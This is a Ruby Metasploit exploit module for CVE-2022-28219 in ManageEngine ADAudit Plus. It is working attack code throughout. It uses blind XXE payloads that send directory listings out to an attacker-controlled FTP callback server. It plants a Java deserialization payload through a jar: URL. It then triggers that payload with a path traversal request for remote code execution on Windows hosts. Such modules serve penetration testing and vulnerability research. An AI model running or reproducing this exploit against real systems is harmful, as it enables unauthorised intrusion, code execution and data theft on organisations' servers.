##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::CmdStager
  include Msf::Exploit::JavaDeserialization
  include Msf::Handler::Reverse::Comm

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine ADAudit Plus CVE-2022-28219',
        'Description' => %q{
          This module exploits CVE-2022-28219, which is a pair of
          vulnerabilities in ManageEngine ADAudit Plus versions before build
          7060: a path traversal in the /cewolf endpoint, and a blind XXE in,
          to upload and execute an executable file.
        },
        'Author' => [
          'Naveen Sunkavally', # Initial PoC + disclosure
          'Ron Bowes', # Analysis and module
        ],
        'References' => [
          ['CVE', '2022-28219'],
          ['URL', 'https://www.horizon3.ai/red-team-blog-cve-2022-28219/'],
          ['URL', 'https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis'],
          ['URL', 'https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html'],
        ],
        'DisclosureDate' => '2022-06-29',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Privileged' => false,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'win'
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8081
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI_DESERIALIZATION', [true, 'Path traversal and unsafe deserialization endpoint', '/cewolf/logo.png']),
      OptString.new('TARGETURI_XXE', [true, 'XXE endpoint', '/api/agent/tabs/agentData']),
      OptString.new('DOMAIN', [true, 'Active Directory domain that the target monitors', nil]),
      OptInt.new('SRVPORT_FTP', [true, 'Port for FTP reverse connection', 2121]),
      OptInt.new('SRVPORT_HTTP2', [true, 'Port for additional HTTP reverse connections', 8888]),
    ])

    register_advanced_options([
      OptInt.new('PATH_TRAVERSAL_DEPTH', [true, 'The number of `../` to prepend to the path traversal attempt', 20]),
      OptInt.new('FtpCallbackTimeout', [true, 'The amount of time, in seconds, the FTP server will wait for a reverse connection', 5]),
      OptInt.new('HttpUploadTimeout', [true, 'The amount of time, in seconds, the HTTP file-upload server will wait for a reverse connection', 5]),
    ])
  end

  def check
    # Make sure it's ADAudit Plus by requesting the root and checking the title
    res1 = send_request_cgi(
      'method' => 'GET',
      'uri' => '/'
    )

    unless res1
      return CheckCode::Unknown('Target failed to respond to check.')
    end

    unless res1.code == 200 && res1.body.match?(/<title>ADAudit Plus/)
      return CheckCode::Safe('Does not appear to be ADAudit Plus')
    end

    # Check if it's a vulnerable version (the patch removes the /cewolf endpoint
    # entirely)
    res2 = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri("#{datastore['TARGETURI_DESERIALIZATION']}?img=abc")
    )

    unless res2
      return CheckCode::Unknown('Target failed to respond to check.')
    end

    unless res2.code == 200
      return CheckCode::Safe('Target does not have vulnerable endpoint (likely patched).')
    end

    CheckCode::Vulnerable('The vulnerable endpoint responds with HTTP/200.')
  end

  def exploit
    # List the /users folder - this is good to do first, since we can fail early
    # if something isn't working
    vprint_status('Attempting to exploit XXE to get a list of users')
    users = get_directory_listing('/users')
    unless users
      fail_with(Failure::NotVulnerable, 'Failed to get a list of users (check your DOMAIN, or server may not be vulnerable)')
    end

    # Remove common users
    users -= ['Default', 'Default User', 'All Users', 'desktop.ini', 'Public']
    if users.empty?
      fail_with(Failure::NotFound, 'Failed to find any non-default user accounts')
    end
    print_status("User accounts discovered: #{users.join(', ')}")

    # I can't figure out how to properly encode spaces, but using the 8.3
    # version works! This converts them
    users.map do |u|
      if u.include?(' ')
        u = u.gsub(/ /, '')[0..6].upcase + '~1'
      end
      u
    end

    # Check the filesystem for existing payloads that we should ignore
    vprint_status('Enumerating old payloads cached on the server (to skip later)')
    existing_payloads = search_for_payloads(users)

    # Create a serialized payload
    begin
      # Create a queue so we can detect when the payload is delivered
      queue = Queue.new

      # Upload payload to remote server
      # (this spawns a thread we need to clean up)
      print_status('Attempting to exploit XXE to store our serialized payload on the server')
      t = upload_payload(generate_java_deserialization_for_payload('CommonsBeanutils1', payload), queue)

      # Wait for something to arrive in the queue (basically using it as a
      # semaphor
      vprint_status('Waiting for the payload to be sent to the target')
      queue.pop # We don't need the result

      # Get a list of possible payloads (never returns nil)
      vprint_status("Trying to find our payload in all users' temp folders")
      possible_payloads = search_for_payloads(users)
      possible_payloads -= existing_payloads

      # Make sure the payload exists
      if possible_payloads.empty?
        fail_with(Failure::Unknown, 'Exploit appeared to work, but could not find the payload on the target')
      end

      # If multiple payloads appeared, abort for safety
      if possible_payloads.length > 1
        fail_with(Failure::UnexpectedReply, "Found #{possible_payloads.length} apparent payloads in temp folders - aborting!")
      end

      # Execute the one payload
      payload_path = possible_payloads.pop
      print_status("Triggering payload: #{payload_path}...")

      res = send_request_cgi(
        'method' => 'GET',
        'uri' => "#{datastore['TARGETURI_DESERIALIZATION']}?img=#{'/..' * datastore['PATH_TRAVERSAL_DEPTH']}#{payload_path}"
      )

      if res&.code != 200
        fail_with(Failure::Unknown, "Path traversal request failed with HTTP/#{res&.code}")
      end
    ensure
      # Kill the upload thread
      if t
        begin
          t.kill
        rescue StandardError
          # Do nothing if we fail to kill the thread
        end
      end
    end
  end

  def get_directory_listing(folder)
    print_status("Getting directory listing for #{folder} via XXE and FTP")

    # Generate a unique callback URL
    path = "/#{rand_text_alpha(rand(8..15))}.dtd"
    full_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{path}"

    # Send the username anonymous and no password so the server doesn't log in
    # with the password "Java1.8.0_51@" which is detectable
    # We use `end_tag` at the end so we can detect when the listing is over
    end_tag = rand_text_alpha(rand(8..15))
    ftp_url = "ftp://anonymous:password@#{Rex::Socket.to_authority(srvhost_addr, datastore['SRVPORT_FTP'])}/%file;#{end_tag}"
    serve_http_file(path, "<!ENTITY % all \"<!ENTITY send SYSTEM '#{ftp_url}'>\"> %all;")

    # Start a server to handle the reverse FTP connection
    ftp_server = Rex::Socket::TcpServer.create(
      'LocalPort' => datastore['SRVPORT_FTP'],
      'LocalHost' => bindhost,
      'Comm' => select_comm,
      'Context' => {
        'Msf' => framework,
        'MsfExploit' => self
      }
    )

    # Trigger the XXE to get file listings
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,
      'ctype' => 'application/json',
      'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % file SYSTEM \"file:#{folder}\"><!ENTITY % start \"<![CDATA[\"><!ENTITY % end \"]]>\"><!ENTITY % dtd SYSTEM \"#{full_url}\"> %dtd;]><data>&send;</data>")
    )

    if res&.code != 200
      fail_with(Failure::Unknown, "XXE request to get directory listing failed with HTTP/#{res&.code}")
    end

    ftp_client = nil
    begin
      # Wait for a connection with a timeout
      select_result = ::IO.select([ftp_server], nil, nil, datastore['FtpCallbackTimeout'])

      unless select_result && !select_result.empty?
        print_warning("FTP reverse connection for directory enumeration failed - #{ftp_url}")
        return nil
      end

      # Accept the connection
      ftp_client = ftp_server.accept

      # Print a standard banner
      ftp_client.print("220 Microsoft FTP Service\r\n")

      # We need to flip this so we can get a directory listing over multiple packets
      directory_listing = nil

      loop do
        select_result = ::IO.select([ftp_client], nil, nil, datastore['FtpCallbackTimeout'])

        # Check if we ran out of data
        if !select_result || select_result.empty?
          # If we got nothing, we're sad
          if directory_listing.nil? || directory_listing.empty?
            print_warning('Did not receive data from our reverse FTP connection')
            return nil
          end

          # If we have data, we're happy and can break
          break
        end

        # Receive the data that's waiting
        data = ftp_client.recv(256)
        if data.empty?
          # If we got nothing, we're done receiving
          break
        end

        # Match behavior with ftp://test.rebex.net
        if data =~ /^USER ([a-zA-Z0-9_.-]*)/
          ftp_client.print("331 Password required for #{Regexp.last_match(1)}.\r\n")
        elsif data =~ /^PASS /
          ftp_client.print("230 User logged in.\r\n")
        elsif data =~ /^TYPE ([a-zA-Z0-9_.-]*)/
          ftp_client.print("200 Type set to #{Regexp.last_match(1)}.\r\n")
        elsif data =~ /^EPSV ALL/
          ftp_client.print("200 ESPV command successful.\r\n")
        elsif data =~ /^EPSV/ # (no space)
          ftp_client.print("229 Entering Extended Passive Mode(|||#{rand(1025..1100)})\r\n")
        elsif data =~ /^RETR (.*)/m
          # Store the start of the listing
          directory_listing = Regexp.last_match(1)
        else
          # Have we started receiving data?
          # (Disable Rubocop, because I think it's way more confusing to
          # continue the elsif train)
          if directory_listing.nil? # rubocop:disable Style/IfInsideElse
            # We shouldn't really get here, but if we do, just play dumb and
            # keep the client talking
            ftp_client.print("230 User logged in.\r\n")
          else
            # If we're receiving data, just append
            directory_listing.concat(data)
          end
        end

        # Break when we get the PORT command (this is faster than timing out,
        # but doesn't always seem to work)
        if !directory_listing.nil? && directory_listing =~ /(.*)#{end_tag}/m
          directory_listing = Regexp.last_match(1)
          break
        end
      end
    ensure
      ftp_server.close
      if ftp_client
        ftp_client.close
      end
    end

    # Handle FTP errors (which thankfully aren't as common as they used to be)
    unless ftp_client
      print_warning("Didn't receive expected FTP connection")
      return nil
    end

    if directory_listing.nil? || directory_listing.empty?
      vprint_warning('FTP client connected, but we did not receive any data over the socket')
      return nil
    end

    # Remove PORT commands, split at \r\n or \n, and remove empty elements
    directory_listing.gsub(/PORT [0-9,]+[\r\n]/m, '').split(/\r?\n/).reject(&:empty?)
  end

  def search_for_payloads(users)
    return users.flat_map do |u|
      dir = "/users/#{u}/appdata/local/temp"
      # This will search for the payload, but right now just print stuff
      listing = get_directory_listing(dir)
      unless listing
        vprint_warning("Couldn't get directory listing for #{dir}")
        next []
      end

      listing
           .select { |f| f =~ /^jar_cache[0-9]+.tmp$/ }
           .map { |f| File.join(dir, f) }
    end
  end

  def upload_payload(payload, queue)
    t = framework.threads.spawn('adaudit-payload-deliverer', false) do
      c = nil
      begin
        # We use a TCP socket here so we can hold the socket open after the HTTP
        # conversation has concluded. That way, the server caches the file in
        # the user's temp folder while it waits for more data
        http_server = Rex::Socket::TcpServer.create(
          'LocalPort' => datastore['SRVPORT_HTTP2'],
          'LocalHost' => bindhost,
          'Comm' => select_comm,
          'Context' => {
            'Msf' => framework,
            'MsfExploit' => self
          }
        )

        # Wait for the reverse connection, with a timeout
        select_result = ::IO.select([http_server], nil, nil, datastore['HttpUploadTimeout'])
        unless select_result && !select_result.empty?
          fail_with(Failure::Unknown, "XXE request to upload file did not receive a reverse connection on #{datastore['SRVPORT_HTTP2']}")
        end

        # Receive and discard the HTTP request
        c = http_server.accept
        c.recv(1024)
        c.print "HTTP/1.1 200 OK\r\n"
        c.print "Connection: keep-alive\r\n"
        c.print "\r\n"
        c.print payload

        # This will notify the other thread that something has arrived
        queue.push(true)

        # This has to stay open as long as it takes to enumerate all users'
        # directories to find then execute the payload. ~5 seconds works on
        # a single-user system, but I increased this a lot for production.
        # (This thread should be killed when the exploit completes in any case)
        Rex.sleep(60)
      ensure
        http_server.close
        if c
          c.close
        end
      end
    end

    # Trigger the XXE to get file listings
    path = "/#{rand_text_alpha(rand(8..15))}.jar!/file.txt"
    full_url = "http://#{Rex::Socket.to_authority(srvhost_addr, datastore['SRVPORT_HTTP2'])}#{path}"
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,
      'ctype' => 'application/json',
      'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"jar:#{full_url}\"> %xxe;]>")
    )

    if res&.code != 200
      fail_with(Failure::Unknown, "XXE request to upload payload failed with HTTP/#{res&.code}")
    end

    return t
  end

  def serve_http_file(path, respond_with = '')
    start_service({
      'Uri' => {
        'Proc' => proc do |cli, _req|
          send_response(cli, respond_with)
        end,
        'Path' => path
      },
      'ssl' => false # do not use SSL
    })
  end

  def create_json_request(xml_payload)
    [
      {
        'DomainName' => datastore['domain'],
        'EventCode' => 4688,
        'EventType' => 0,
        'TimeGenerated' => 0,
        'Task Content' => xml_payload
      }
    ].to_json
  end
end
